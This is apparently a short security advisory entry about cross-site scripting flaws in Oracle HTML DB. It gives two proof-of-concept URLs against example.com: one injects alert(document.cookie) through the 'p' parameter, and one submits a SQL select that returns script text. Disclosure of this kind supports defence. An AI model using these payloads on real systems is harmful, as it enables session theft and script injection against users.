|
|
Oracle HTML DB Cross-Site Scripting Vulnerabilities
An exploit is not required. The following proof of concept examples are available: http://www.example.com/pls/otn/f?p=4500:alert(document.cookie);59:3239664590547916206 http://www.example.com/pls/otn/wwv_flow.accept?p_flow_id=4500&p_flow_step_id=3&p_instance=428576542275032284&p_page_submission_id=3334304&p_request=RUN&p_arg_names= 4407099841&p_t01=KORNBRUST&p_arg_names=998876535505&p_t02=select sysdate||'alert("'||sysdate||'");' from dual%3B&p_arg_names=57198154917561018&p_t03=&p_arg_names=50923815163860037&p_t04=&p_arg_names=64882231271599126&p_t05=&p_arg_names=57064518975385648&p_t06=&p_arg_name s=57356416829253124&p_t07=&p_arg_names=30322022623394012&p_t08=&p_arg_names=106590927281022368&p_t09=&p_md5_checksum= |
|
Privacy Statement |